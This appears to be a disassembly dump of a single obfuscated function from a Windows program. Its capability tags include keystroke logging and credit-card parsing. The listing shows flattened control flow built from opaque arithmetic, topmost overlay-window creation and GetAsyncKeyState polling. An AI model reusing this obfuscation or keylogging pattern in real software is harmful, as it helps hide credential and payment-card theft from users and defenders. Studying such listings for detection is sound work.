Function at 0x1403e3280
Capabilities:
Encrypt data using chaskey
Encrypt data using speck
Hash data using murmur3
Log keystrokes via polling
Parse credit card information
Parse pe header
Terminate process

Disassembly:
push rax
pushf
mov eax, 0x305440c9
pushf
not eax
add eax, 0x9619ac97
xor eax, 0xa6058f11
rol eax, 0xf2
popf
pushf
not eax
add eax, 0x8cac8739
xor eax, 0x9b0ebabd
rol eax, 0x41
popf
pushf
not eax
add eax, 0xa21ee902
xor eax, 0xddaf63f1
rol eax, 0x81
popf
cmp eax, 0x29
jne 0x1403e32d0
popf
pop rax
jmp 0x1403e9820
cmp eax, 0x48
jne 0x1403e32df
popf
pop rax
jmp 0x1403ed9ec
cmp eax, 0x3f
jne 0x1403e32ee
popf
pop rax
jmp 0x1403ed4d1
cmp eax, 1
jne 0x1403e32fd
popf
pop rax
jmp 0x1403e3d8d
cmp eax, 0xd
jne 0x1403e330c
popf
pop rax
jmp 0x1403e458b
cmp eax, 0x1a
jne 0x1403e331b
popf
pop rax
jmp 0x1403e67c1
cmp eax, 0x44
jne 0x1403e332a
popf
pop rax
jmp 0x1403ed829
cmp eax, 0x31
jne 0x1403e3339
popf
pop rax
jmp 0x1403ea6f2
cmp eax, 0x40
jne 0x1403e3348
popf
pop rax
jmp 0x1403ed52f
cmp eax, 8
jne 0x1403e3357
popf
pop rax
jmp 0x1403e4252
cmp eax, 0x2a
jne 0x1403e3366
popf
pop rax
jmp 0x1403ea2d5
cmp eax, 0x17
jne 0x1403e3375
popf
pop rax
jmp 0x1403e6511
cmp eax, 0x1c
jne 0x1403e3384
popf
pop rax
jmp 0x1403e699a
cmp eax, 0x2e
jne 0x1403e3393
popf
pop rax
jmp 0x1403ea53f
cmp eax, 0x18
jne 0x1403e33a2
popf
pop rax
jmp 0x1403e65ac
cmp eax, 0x2b
jne 0x1403e33b1
popf
pop rax
jmp 0x1403ea43d
cmp eax, 0x1b
jne 0x1403e33c0
popf
pop rax
jmp 0x1403e680d
cmp eax, 0x2d
jne 0x1403e33cf
popf
pop rax
jmp 0x1403ea502
cmp eax, 0x23
jne 0x1403e33de
popf
pop rax
jmp 0x1403e778d
cmp eax, 0x25
jne 0x1403e33ed
popf
pop rax
jmp 0x1403e7eb5
cmp eax, 0x43
jne 0x1403e33fc
popf
pop rax
jmp 0x1403ed7cb
cmp eax, 0x13
jne 0x1403e340b
popf
pop rax
jmp 0x1403e4c41
cmp eax, 0x33
jne 0x1403e341a
popf
pop rax
jmp 0x1403eabb5
cmp eax, 0x24
jne 0x1403e3429
popf
pop rax
jmp 0x1403e7e76
cmp eax, 0x1e
jne 0x1403e3438
popf
pop rax
jmp 0x1403e74e3
cmp eax, 0xc
jne 0x1403e3447
popf
pop rax
jmp 0x1403e4478
cmp eax, 0x26
jne 0x1403e3456
popf
pop rax
jmp 0x1403e7f16
cmp eax, 0x27
jne 0x1403e3465
popf
pop rax
jmp 0x1403e82ef
cmp eax, 0x30
jne 0x1403e3474
popf
pop rax
jmp 0x1403ea698
cmp eax, 0x10
jne 0x1403e3483
popf
pop rax
jmp 0x1403e46ac
cmp eax, 0x37
jne 0x1403e3492
popf
pop rax
jmp 0x1403ec201
cmp eax, 9
jne 0x1403e34a1
popf
pop rax
jmp 0x1403e428a
cmp eax, 0x39
jne 0x1403e34b0
popf
pop rax
jmp 0x1403ecd60
cmp eax, 0x16
jne 0x1403e34bf
popf
pop rax
jmp 0x1403e5150
cmp eax, 0x3b
jne 0x1403e34ce
popf
pop rax
jmp 0x1403ed2d2
cmp eax, 0xa
jne 0x1403e34dd
popf
pop rax
jmp 0x1403e4340
cmp eax, 0x36
jne 0x1403e34ec
popf
pop rax
jmp 0x1403ebb9b
cmp eax, 0x14
jne 0x1403e34fb
popf
pop rax
jmp 0x1403e4c90
cmp eax, 0x46
jne 0x1403e350a
popf
pop rax
jmp 0x1403ed902
cmp eax, 0x3d
jne 0x1403e3519
popf
pop rax
jmp 0x1403ed340
cmp eax, 2
jne 0x1403e3528
popf
pop rax
jmp 0x1403e3e3c
cmp eax, 0x47
jne 0x1403e3537
popf
pop rax
jmp 0x1403ed953
cmp eax, 0x41
jne 0x1403e3546
popf
pop rax
jmp 0x1403ed592
cmp eax, 0x11
jne 0x1403e3555
popf
pop rax
jmp 0x1403e4731
cmp eax, 0x35
jne 0x1403e3564
popf
pop rax
jmp 0x1403ebb02
cmp eax, 0x3a
jne 0x1403e3573
popf
pop rax
jmp 0x1403ed296
cmp eax, 0x12
jne 0x1403e3582
popf
pop rax
jmp 0x1403e47a6
cmp eax, 0x21
jne 0x1403e3591
popf
pop rax
jmp 0x1403e7619
cmp eax, 0x38
jne 0x1403e35a0
popf
pop rax
jmp 0x1403eccd8
cmp eax, 0xb
jne 0x1403e35af
popf
pop rax
jmp 0x1403e43f3
cmp eax, 0xf
jne 0x1403e35be
popf
pop rax
jmp 0x1403e465f
cmp eax, 0x15
jne 0x1403e35cd
popf
pop rax
jmp 0x1403e50f1
cmp eax, 5
jne 0x1403e35dc
popf
pop rax
jmp 0x1403e407e
cmp eax, 6
jne 0x1403e35eb
popf
pop rax
jmp 0x1403e4154
cmp eax, 0x22
jne 0x1403e35fa
popf
pop rax
jmp 0x1403e7704
cmp eax, 0x49
jne 0x1403e3609
popf
pop rax
jmp 0x1403eda25
cmp eax, 0x1f
jne 0x1403e3618
popf
pop rax
jmp 0x1403e7546
cmp eax, 4
jne 0x1403e3627
popf
pop rax
jmp 0x1403e3fd2
cmp eax, 0x2f
jne 0x1403e3636
popf
pop rax
jmp 0x1403ea600
cmp eax, 0x28
jne 0x1403e3645
popf
pop rax
jmp 0x1403e8d31
cmp eax, 0x3e
jne 0x1403e3654
popf
pop rax
jmp 0x1403ed427
cmp eax, 0x45
jne 0x1403e3663
popf
pop rax
jmp 0x1403ed8ac
cmp eax, 0x2c
jne 0x1403e3672
popf
pop rax
jmp 0x1403ea48c
cmp eax, 3
jne 0x1403e3681
popf
pop rax
jmp 0x1403e3e84
cmp eax, 0x19
jne 0x1403e3690
popf
pop rax
jmp 0x1403e6716
cmp eax, 0x1d
jne 0x1403e369f
popf
pop rax
jmp 0x1403e6a74
cmp eax, 0x34
jne 0x1403e36ae
popf
pop rax
jmp 0x1403eb49f
cmp eax, 0x32
jne 0x1403e36bd
popf
pop rax
jmp 0x1403eab66
cmp eax, 0xe
jne 0x1403e36cc
popf
pop rax
jmp 0x1403e45da
cmp eax, 0x42
jne 0x1403e36db
popf
pop rax
jmp 0x1403ed763
cmp eax, 7
jne 0x1403e36ea
popf
pop rax
jmp 0x1403e41d0
cmp eax, 0x20
jne 0x1403e36f9
popf
pop rax
jmp 0x1403e75c9
cmp eax, 0
jne 0x1403e3708
popf
pop rax
jmp 0x1403e3717
cmp eax, 0x3c
jne 0x1403e3717
popf
pop rax
jmp 0x1403ed330
push rsi
push rdi
mov eax, 0xfda5ac5a
pushf
not eax
add eax, 0xab5f079b
xor eax, 0x9a1b975f
rol eax, 0xb8
popf
pushf
not eax
add eax, 0xe7f3a565
xor eax, 0xc8bc045a
rol eax, 0x42
popf
call fcn.1402eeb4f
sub rsp, rax
mov ecx, 0xe52f8220
pushf
not ecx
add ecx, 0xdd7653d2
xor ecx, 0xa2c21307
rol ecx, 0x23
popf
pushf
not ecx
add ecx, 0x9b833e2d
xor ecx, 0xc715287a
rol ecx, 0x8d
popf
call fcn.1402fa335
mov qword [rsp + 0x688], rax
mov ecx, 0x75d59248
pushf
not ecx
add ecx, 0x98044b5f
xor ecx, 0xd398bf1e
rol ecx, 0x67
popf
pushf
not ecx
add ecx, 0xa9e2e94b
xor ecx, 0xbedfe4d2
rol ecx, 0xc4
popf
call fcn.1402fa335
mov qword [rsp + 0x370], rax
mov ecx, 0x5c0cd895
pushf
not ecx
add ecx, 0xb90081ee
xor ecx, 0xf5dac35c
rol ecx, 0x8e
popf
pushf
not ecx
add ecx, 0xea921521
xor ecx, 0x9010ead2
rol ecx, 1
popf
call fcn.1402fa335
mov qword [rsp + 0x630], rax
mov ecx, 0x86ef3790
pushf
not ecx
add ecx, 0x850d5108
xor ecx, 0xe4d249f8
rol ecx, 0xd6
popf
pushf
not ecx
add ecx, 0xcb59d6dd
xor ecx, 0x8ed00822
rol ecx, 0x1a
popf
pushf
not ecx
add ecx, 0xdfc1ec25
xor ecx, 0x82392c88
rol ecx, 0x8f
popf
pushf
not ecx
add ecx, 0xd01abca0
xor ecx, 0xf61be20d
rol ecx, 0x63
popf
jmp 0x1403e385a
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cvtsi2ss xmm0, eax
movss dword [rsp + 0x354], xmm0
xor ecx, ecx
jmp 0x1403e3870
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cvtsi2ss xmm0, eax
movss dword [rsp + 0x350], xmm0
movss xmm0, dword [rsp + 0x350]
movss dword [rsp + 0x388], xmm0
movss xmm0, dword [rsp + 0x354]
movss dword [rsp + 0x38c], xmm0
mov rax, qword [rsp + 0x388]
mov qword [0x1401409a0], rax
mov dword [rsp + 0xbc0], 0x50
mov dword [rsp + 0xbc4], 0
lea rax, [0x18d898a88]
pushf
sub rax, 0x4d87ae68
popf
mov qword [rsp + 0xbc8], rax
mov dword [rsp + 0xbd0], 0
mov dword [rsp + 0xbd4], 0
mov qword [rsp + 0xbd8], 0
mov edx, 0x672e250a
pushf
not edx
add edx, 0xae3ea8f5
xor edx, 0xd94922aa
rol edx, 0xdc
popf
pushf
not edx
add edx, 0xabb01851
xor edx, 0xa1cb823c
rol edx, 0x7e
popf
xor ecx, ecx
jmp 0x1403e3939
call qword [sym.imp.USER32.dll_LoadIconA]
mov qword [rsp + 0xbe0], rax
mov edx, 0xa22e996
pushf
not edx
add edx, 0xf1f76902
xor edx, 0x9d8d9aea
rol edx, 0x1c
popf
pushf
not edx
add edx, 0xc276d120
xor edx, 0xaad10d47
rol edx, 0xc1
popf
xor ecx, ecx
jmp 0x1403e3979
call qword [sym.imp.USER32.dll_LoadCursorA]
mov qword [rsp + 0xbe8], rax
mov qword [rsp + 0xbf0], 0
mov qword [rsp + 0xbf8], 0
mov rax, qword [rsp + 0x370]
mov qword [rsp + 0xc00], rax
mov edx, 0x444174d
pushf
not edx
add edx, 0xdadf2c5f
xor edx, 0xbb9f188f
rol edx, 0x66
popf
pushf
not edx
add edx, 0xc78deca1
xor edx, 0xe1bce968
rol edx, 0x23
popf
pushf
not edx
add edx, 0xd1013567
xor edx, 0xdd67aeab
rol edx, 0x8f
popf
pushf
not edx
add edx, 0xdba69028
xor edx, 0x9bfe1412
rol edx, 0x20
popf
xor ecx, ecx
jmp 0x1403e3a0b
call qword [sym.imp.USER32.dll_LoadIconA]
mov qword [rsp + 0xc08], rax
lea rax, [0x1845bc05c]
pushf
sub rax, 0x4447b69c
popf
lea rcx, [rsp + 0xbc0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x9fab335c
pushf
not ecx
add ecx, 0xac63a0db
xor ecx, 0xd011d8f1
rol ecx, 0xea
popf
pushf
not ecx
add ecx, 0x9dc15fb4
xor ecx, 0x86cb5821
rol ecx, 0x74
popf
pushf
not ecx
add ecx, 0xd318319c
xor ecx, 0xd883420a
rol ecx, 0xee
popf
pushf
not ecx
add ecx, 0x8c8831fc
xor ecx, 0xf1208c9d
rol ecx, 0xc3
popf
rep movsb byte [rdi], byte [rsi]
lea rcx, [0x1b0f39979]
pushf
sub rcx, 0x70df8fb9
popf
jmp 0x1403e3aa6
call qword [sym.imp.USER32.dll_RegisterClassExA]
mov dword [rsp + 0xa40], 0xffffffff
lea rax, [rsp + 0xa44]
mov rdi, rax
xor eax, eax
mov ecx, 0x8c4478a8
pushf
not ecx
add ecx, 0xa69d5e5d
xor ecx, 0xdb676c11
rol ecx, 0xb1
popf
pushf
not ecx
add ecx, 0xbc6fc092
xor ecx, 0xacb99f07
rol ecx, 0x70
popf
pushf
not ecx
add ecx, 0x99e3a532
xor ecx, 0xf80e9f94
rol ecx, 0xac
popf
rep stosb byte [rdi], al
cvttss2si eax, dword [0x1401409a4]
cvttss2si ecx, dword [0x1401409a0]
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0xcb7286b
pushf
not r9d
add r9d, 0xaac87f11
xor r9d, 0xe4a825e6
rol r9d, 0x47
popf
pushf
not r9d
add r9d, 0xa443853e
xor r9d, 0xd3863395
rol r9d, 0x7e
popf
pushf
not r9d
add r9d, 0xfd00a1b0
xor r9d, 0x97fca92a
rol r9d, 0x35
popf
mov r8, qword [rsp + 0x370]
mov rdx, qword [rsp + 0x370]
xor ecx, ecx
jmp 0x1403e3bba
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov qword [0x1401409a8], rax
lea rdx, [rsp + 0xa40]
mov rcx, qword [0x1401409a8]
jmp 0x1403e3bd7
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov r8d, 0xb5089b64
pushf
not r8d
add r8d, 0xacb04658
xor r8d, 0xb0e5b038
rol r8d, 0x9a
popf
pushf
not r8d
add r8d, 0xf82a4aa9
xor r8d, 0xc8ab25af
rol r8d, 0x99
popf
pushf
not r8d
add r8d, 0xf81b9bd3
xor r8d, 0xd0141f03
rol r8d, 0xf9
popf
mov edx, 0xa0aad354
pushf
not edx
add edx, 0xeb8c7046
xor edx, 0xc2e5fd56
rol edx, 0x99
popf
pushf
not edx
add edx, 0xfbe5a03f
xor edx, 0x9537cd68
rol edx, 0xc
popf
pushf
not edx
add edx, 0x854ca5d5
xor edx, 0xf34e4596
rol edx, 6
popf
pushf
not edx
add edx, 0xa2638995
xor edx, 0x96ea5a56
rol edx, 0x7a
popf
mov rcx, qword [0x1401409a8]
jmp 0x1403e3c8f
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, 0xffffffffffffffff
mov rcx, qword [0x1401409a8]
jmp 0x1403e3cc2
call qword [sym.imp.USER32.dll_SetWindowPos]
mov rcx, qword [0x1401409a8]
call fcn.14016030c
movzx eax, al
test eax, eax
jne 0x1403e3d34
push rax
pushf
mov eax, 0x2f6c1303
pushf
not eax
add eax, 0xb2105b52
xor eax, 0xa3b63132
rol eax, 0x81
popf
pushf
not eax
add eax, 0xc109a532
xor eax, 0xc5803922
rol eax, 0x67
popf
pushf
not eax
add eax, 0x8a192271
xor eax, 0xbb86dd00
rol eax, 0x38
popf
pushf
not eax
add eax, 0x9366be14
xor eax, 0xffba68ca
rol eax, 0xca
popf
jmp 0x1403e32c1
push rax
pushf
mov eax, 0x885c7b95
pushf
not eax
add eax, 0xd9d7e206
xor eax, 0xb6205c80
rol eax, 0x2e
popf
pushf
not eax
add eax, 0xab91e006
xor eax, 0xe9ddd97b
rol eax, 0xbf
popf
pushf
not eax
add eax, 0x882b601b
xor eax, 0x8d900499
rol eax, 0x83
popf
pushf
not eax
add eax, 0xc8800d19
xor eax, 0xc6c6e5ca
rol eax, 0
popf
jmp 0x1403e32c1
call fcn.140231bce
movzx eax, byte [0x140140a10]
test eax, eax
je 0x1403e3df6
push rax
pushf
mov eax, 0x74e642f0
pushf
not eax
add eax, 0xbc517d90
xor eax, 0xa1115ce0
rol eax, 0x6c
popf
pushf
not eax
add eax, 0x8652a611
xor eax, 0xc1de3c8c
rol eax, 0xc1
popf
pushf
not eax
add eax, 0xf3001077
xor eax, 0x837d21e5
rol eax, 0xa7
popf
pushf
not eax
add eax, 0x8e0639ba
xor eax, 0x9848551f
rol eax, 0x2b
popf
jmp 0x1403e32c1
push rax
pushf
mov eax, 0x6f11691c
pushf
not eax
add eax, 0xd296b1e5
xor eax, 0xe2f13eef
rol eax, 0x3a
popf
pushf
not eax
add eax, 0xe7a4690a
xor eax, 0xe909c204
rol eax, 0x38
popf
pushf
not eax
add eax, 0xedc40251
xor eax, 0xb8206afb
rol eax, 0x70
popf
jmp 0x1403e32c1
mov rdx, qword [0x1401409d8]
mov rcx, qword [0x140140a00]
jmp 0x1403e3e4b
call qword [sym.imp.USER32.dll_UnregisterClassA]
push rax
pushf
mov eax, 0x48a4ce00
pushf
not eax
add eax, 0xf15f0e60
xor eax, 0x866d9529
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xa91ab65e
xor eax, 0x91aecb92
rol eax, 0x3c
popf
jmp 0x1403e32c1
lea rax, [0x1a4f54078]
pushf
sub rax, 0x64f35ba8
popf
mov qword [rsp + 0x678], rax
mov rdx, qword [rsp + 0x678]
lea rcx, [rsp + 0xa30]
call fcn.1402e9531
lea rcx, [rsp + 0xa30]
call fcn.14024f44e
mov edx, 0x8ed7ab00
pushf
not edx
add edx, 0xd01436e2
xor edx, 0x9822efb9
rol edx, 0xfe
popf
pushf
not edx
add edx, 0xc929dc4a
xor edx, 0x92e84333
rol edx, 0x90
popf
mov rcx, qword [0x1401409a8]
jmp 0x1403e3ef6
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1401409a8]
jmp 0x1403e3f04
call qword [sym.imp.USER32.dll_UpdateWindow]
xor ecx, ecx
call fcn.1402dc1e0
call fcn.1402d51e9
mov qword [rsp + 0x680], rax
xor ecx, ecx
call fcn.1401d2f16
mov rcx, qword [0x1401409a8]
call fcn.14035566f
mov rdx, qword [0x140140880]
mov rcx, qword [0x140140878]
call fcn.1402f0cbd
mov rax, qword [rsp + 0x680]
mov qword [rax + 0x18], 0
lea rax, [rsp + 0x1500]
mov rdi, rax
xor eax, eax
mov ecx, 0x288fa22b
pushf
not ecx
add ecx, 0xe5155393
xor ecx, 0xb6f6b61e
rol ecx, 0xab
popf
pushf
not ecx
add ecx, 0x8fe420ae
xor ecx, 0xf798585a
rol ecx, 0xf0
popf
rep stosb byte [rdi], al
mov byte [rsp + 0xb3], 0
mov byte [rsp + 0x60], 0
push rax
pushf
mov eax, 0x6bdb7b67
pushf
not eax
add eax, 0x8023c366
xor eax, 0xe7079449
rol eax, 0xe6
popf
pushf
not eax
add eax, 0x815a0375
xor eax, 0xad451578
rol eax, 0x8d
popf
jmp 0x1403e32c1
movzx eax, byte [rsp + 0x60]
test eax, eax
jne 0x1403e4025
push rax
pushf
mov eax, 0x63e08f78
pushf
not eax
add eax, 0xc9c61294
xor eax, 0xc629acd3
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xa557fd29
xor eax, 0xac782deb
rol eax, 0x1d
popf
pushf
not eax
add eax, 0xdff9ecdd
xor eax, 0xe91989e4
rol eax, 0x6e
popf
jmp 0x1403e32c1
push rax
pushf
mov eax, 0x4ec047ad
pushf
not eax
add eax, 0xf6d42ec8
xor eax, 0xfe34a9a5
rol eax, 0xd7
popf
pushf
not eax
add eax, 0x9e0a06a3
xor eax, 0x9104de29
rol eax, 0xd5
popf
pushf
not eax
add eax, 0xc7a4c9dc
xor eax, 0xc5febb1a
rol eax, 0x77
popf
pushf
not eax
add eax, 0xa31cc948
xor eax, 0xfca87117
rol eax, 0x25
popf
jmp 0x1403e32c1
xor edx, edx
mov ecx, 0x15eb76b7
pushf
not ecx
add ecx, 0xfa3ad508
xor ecx, 0xdd4a38de
rol ecx, 0x6c
popf
pushf
not ecx
add ecx, 0x9ac61717
xor ecx, 0xec83cf3b
rol ecx, 0x79
popf
pushf
not ecx
add ecx, 0x91a55b0f
xor ecx, 0xb6539d15
rol ecx, 0x63
popf
jmp 0x1403e40c5
call qword [sym.imp.KERNEL32.dll_SleepEx]
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x1500]
jmp 0x1403e40e4
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x1403e4121
push rax
pushf
mov eax, 0x277a86d3
pushf
not eax
add eax, 0xa7d7b3ed
xor eax, 0xdae7b0b6
rol eax, 0x19
popf
pushf
not eax
add eax, 0xfc4386b5
xor eax, 0x9d8e1779
rol eax, 0x38
popf
jmp 0x1403e32c1
push rax
pushf
mov eax, 0xfc9ccb07
pushf
not eax
add eax, 0xc2bded6b
xor eax, 0x88ec23f6
rol eax, 0x62
popf
pushf
not eax
add eax, 0xf4c5d394
xor eax, 0xba11cd3e
rol eax, 0xc9
popf
jmp 0x1403e32c1
lea rcx, [rsp + 0x1500]
jmp 0x1403e415d
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x1500]
jmp 0x1403e416c
call qword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x1403e3fd2
movzx eax, byte [rsp + 0x60]
test eax, eax
je 0x1403e421f
push rax
pushf
mov eax, 0x856b1290
pushf
not eax
add eax, 0x9cd01b70
xor eax, 0xeccd629c
rol eax, 0x85
popf
pushf
not eax
add eax, 0x93ffcf2a
xor eax, 0xd1515b21
rol eax, 0xd7
popf
pushf
not eax
add eax, 0xbef0298a
xor eax, 0xf900579b
rol eax, 0x90
popf
jmp 0x1403e32c1
push rax
pushf
mov eax, 0xbe3820b4
pushf
not eax
add eax, 0xb6afe41d
xor eax, 0xf9ce3e08
rol eax, 0xb3
popf
pushf
not eax
add eax, 0xdfb6555a
xor eax, 0xf4a4478a
rol eax, 0x8f
popf
jmp 0x1403e32c1
jmp 0x1403ed829
mov ecx, 0xb6e43040
pushf
not ecx
add ecx, 0xb1204601
xor ecx, 0x8e1a4512
rol ecx, 0xe6
popf
pushf
not ecx
add ecx, 0xbf13d23f
xor ecx, 0xc3a142ff
rol ecx, 0x90
popf
pushf
not ecx
add ecx, 0x819bd270
xor ecx, 0xa23d1b91
rol ecx, 0x32
popf
jmp 0x1403e42cf
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x1403e430d
push rax
pushf
mov eax, 0x5a13cc50
pushf
not eax
add eax, 0xb2ff47ef
xor eax, 0xd0a16f3d
rol eax, 0x32
popf
pushf
not eax
add eax, 0xff34cd17
xor eax, 0xfca6abee
rol eax, 0x25
popf
jmp 0x1403e32c1
push rax
pushf
mov eax, 0xa8f902d6
pushf
not eax
add eax, 0xee1c4a02
xor eax, 0xa5ef5822
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xb4a4fef1
xor eax, 0xb88b7b0d
rol eax, 0x22
popf
jmp 0x1403e32c1
call fcn.1402d51e9
mov ecx, 0xc6518c09
pushf
not ecx
add ecx, 0x8dc2fd74
xor ecx, 0xd6e34304
rol ecx, 0xfe
popf
pushf
not ecx
add ecx, 0xe248c68c
xor ecx, 0xd59f71fc
rol ecx, 5
popf
pushf
not ecx
add ecx, 0xe63963a3
xor ecx, 0xd6c06211
rol ecx, 0x8c
popf
imul rcx, rcx, 0
mov byte [rax + rcx + 0xd94], 1
jmp 0x1403e4478
call fcn.1402d51e9
mov ecx, 0x60db95ec
pushf
not ecx
add ecx, 0xafa2e29d
xor ecx, 0xaf02a627
rol ecx, 0xdc
popf
pushf
not ecx
add ecx, 0xf5dae400
xor ecx, 0xf7be8556
rol ecx, 1
popf
imul rcx, rcx, 0
mov byte [rax + rcx + 0xd94], 0
push rax
pushf
mov eax, 0xf2aab91d
pushf
not eax
add eax, 0xdbdd4a13
xor eax, 0xfb205b17
rol eax, 0x14
popf
pushf
not eax
add eax, 0xeb7d5083
xor eax, 0x973fa2c3
rol eax, 0x11
popf
pushf
not eax
add eax, 0xf291b5ad
xor eax, 0xe76640e5
rol eax, 0x26
popf
jmp 0x1403e32c1
call fcn.140284b4c
call fcn.140309dd3
call fcn.1401d6c5d
mov ecx, 0xcb6daaa3
pushf
not ecx
add ecx, 0x82e4d236
xor ecx, 0x988405aa
rol ecx, 0x7b
popf
pushf
not ecx
add ecx, 0xe9e8e4b0
xor ecx, 0xfcf8cad9
rol ecx, 0xa9
popf
pushf
not ecx
add ecx, 0x8fefdbde
xor ecx, 0xd06d6617
rol ecx, 0xc3
popf
pushf
not ecx
add ecx, 0xbe1777bd
xor ecx, 0xda17569f
rol ecx, 0x55
popf
jmp 0x1403e44e1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x1403e4545
push rax
pushf
mov eax, 0xba669d84
pushf
not eax
add eax, 0x9318484f
xor eax, 0xaac82577
rol eax, 0xa2
popf
pushf
not eax
add eax, 0xf39db1d2
xor eax, 0xd9e1c622
rol eax, 0xc3
popf
pushf
not eax
add eax, 0xf3067107
xor eax, 0xe62e58b2
rol eax, 0x37
popf
pushf
not eax
add eax, 0xb430bb60
xor eax, 0xcf657c17
rol eax, 0x87
popf
jmp 0x1403e32c1
push rax
pushf
mov eax, 0xd67c876f
pushf
not eax
add eax, 0xb238ecd8
xor eax, 0x8ffb24cf
rol eax, 0x83
popf
pushf
not eax
add eax, 0xf642f4e1
xor eax, 0xe8452f09
rol eax, 0x93
popf
pushf
not eax
add eax, 0xf7903d90
xor eax, 0xb1925b21
rol eax, 0x4a
popf
jmp 0x1403e32c1
xor ecx, ecx
jmp 0x1403e458e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push rax
pushf
mov eax, 0x634802ef
pushf
not eax
add eax, 0x8ab2c8b6
xor eax, 0xac773dad
rol eax, 5
popf
pushf
not eax
add eax, 0x9238b92e
xor eax, 0xed793b1d
rol eax, 0x2c
popf
pushf
not eax
add eax, 0xb45fb8b2
xor eax, 0xaa959c81
rol eax, 0x4b
popf
jmp 0x1403e32c1
call fcn.14023af05
movzx eax, al
test eax, eax
je 0x1403e462c
push rax
pushf
mov eax, 0xd470103a
pushf
not eax
add eax, 0xd5d215bf
xor eax, 0xa16441a9
rol eax, 0xec
popf
pushf
not eax
add eax, 0xcf97920c
xor eax, 0xbd7b7bff
rol eax, 0xda
popf
pushf
not eax
add eax, 0x9491a47b
xor eax, 0xc138fb6b
rol eax, 0xd7
popf
jmp 0x1403e32c1
push rax
pushf
mov eax, 0xc1f62a7b
pushf
not eax
add eax, 0xd7a01c57
xor eax, 0xc04f3077
rol eax, 0x3e
popf
pushf
not eax
add eax, 0xfe45016a
xor eax, 0xc8db50fe
rol eax, 0x90
popf
jmp 0x1403e32c1
mov byte [0x140140910], 1
push rax
pushf
mov eax, 0xdd12fb5d
pushf
not eax
add eax, 0xe13c9479
xor eax, 0x940f3931
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xcbd3d681
xor eax, 0x81853e5e
rol eax, 0x80
popf
pushf
not eax
add eax, 0xbab1da7c
xor eax, 0xb96c2246
rol eax, 0xec
popf
jmp 0x1403e32c1
cmp dword [0x140140a14], 3
jle 0x1403e46ff
push rax
pushf
mov eax, 0xeb610264
pushf
not eax
add eax, 0x9fc976e2
xor eax, 0xe096aa86
rol eax, 0x19
popf
pushf
not eax
add eax, 0xd7209863
xor eax, 0xdf7785fb
rol eax, 0xa3
popf
pushf
not eax
add eax, 0x9ddf2100
xor eax, 0xa5d6262c
rol eax, 0x9f
popf
jmp 0x1403e32c1
push rax
pushf
mov eax, 0x8dae09e4
pushf
not eax
add eax, 0xc8634f97
xor eax, 0xb891596b
rol eax, 1
popf
pushf
not eax
add eax, 0xd8648610
xor eax, 0xd41cce5c
rol eax, 0x17
popf
jmp 0x1403e32c1
movzx eax, byte [reloc.WS2_32.dll_accept]
test eax, eax
je 0x1403e4773
push rax
pushf
mov eax, 0xeeba41c3
pushf
not eax
add eax, 0xab3d0251
xor eax, 0xca7b39ec
rol eax, 0xea
popf
pushf
not eax
add eax, 0xc577d5be
xor eax, 0xdd804fe2
rol eax, 0xf0
popf
jmp 0x1403e32c1
push rax
pushf
mov eax, 0xde60a5db
pushf
not eax
add eax, 0xbe9586ba
xor eax, 0xcc6a45e7
rol eax, 0x14
popf
pushf
not eax
add eax, 0xe517982d
xor eax, 0x9364d242
rol eax, 0x2c
popf
jmp 0x1403e32c1
mov byte [0x1401409b0], 1
mov r8d, 0xcd575ec1
pushf
not r8d
add r8d, 0xc381c524
xor r8d, 0xd088af12
rol r8d, 0x62
popf
pushf
not r8d
add r8d, 0x800f4dde
xor r8d, 0xe58d301d
rol r8d, 0x15
popf
lea rdx, [0x1847816cd]
pushf
sub rdx, 0x446416c5
popf
mov rcx, qword [rsp + 0x688]
call fcn.1403d1016
cvtsi2ss xmm0, dword [section..data]
movss dword [rsp + 0x360], xmm0
cvtsi2ss xmm0, dword [0x140140004]
movss dword [rsp + 0x358], xmm0
movss xmm0, dword [rsp + 0x358]
movss dword [rsp + 0x390], xmm0
movss xmm0, dword [rsp + 0x360]
movss dword [rsp + 0x394], xmm0
xor edx, edx
lea rcx, [rsp + 0x390]
call fcn.140233e75
mov rax, qword [0x140140a78]
mov qword [rsp + 0x398], rax
mov rax, qword [rsp + 0x398]
mov rax, qword [rax + 0x3ed8]
mov byte [rax + 0x98], 1
mov rax, qword [rsp + 0x398]
mov rax, qword [rax + 0x3ed8]
mov qword [rsp + 0x690], rax
mov rcx, qword [rsp + 0x690]
call fcn.1401fb635
call fcn.14027df03
movss xmm0, dword [0x140118050]
movss dword [rsp + 0x3a0], xmm0
movss xmm0, dword [0x140118008]
movss dword [rsp + 0x3a4], xmm0
lea rcx, [rsp + 0x3a0]
call fcn.140164f74
lea rax, [rsp + 0x61]
mov rdi, rax
xor eax, eax
mov ecx, 0xb2b8303f
pushf
not ecx
add ecx, 0xad3391f9
xor ecx, 0x99c91b78
rol ecx, 0x8a
popf
pushf
not ecx
add ecx, 0x95508992
xor ecx, 0x9d542b62
rol ecx, 0x88
popf
pushf
not ecx
add ecx, 0xeffc0c86
xor ecx, 0xbe4cab27
rol ecx, 0xfd
popf
rep stosb byte [rdi], al
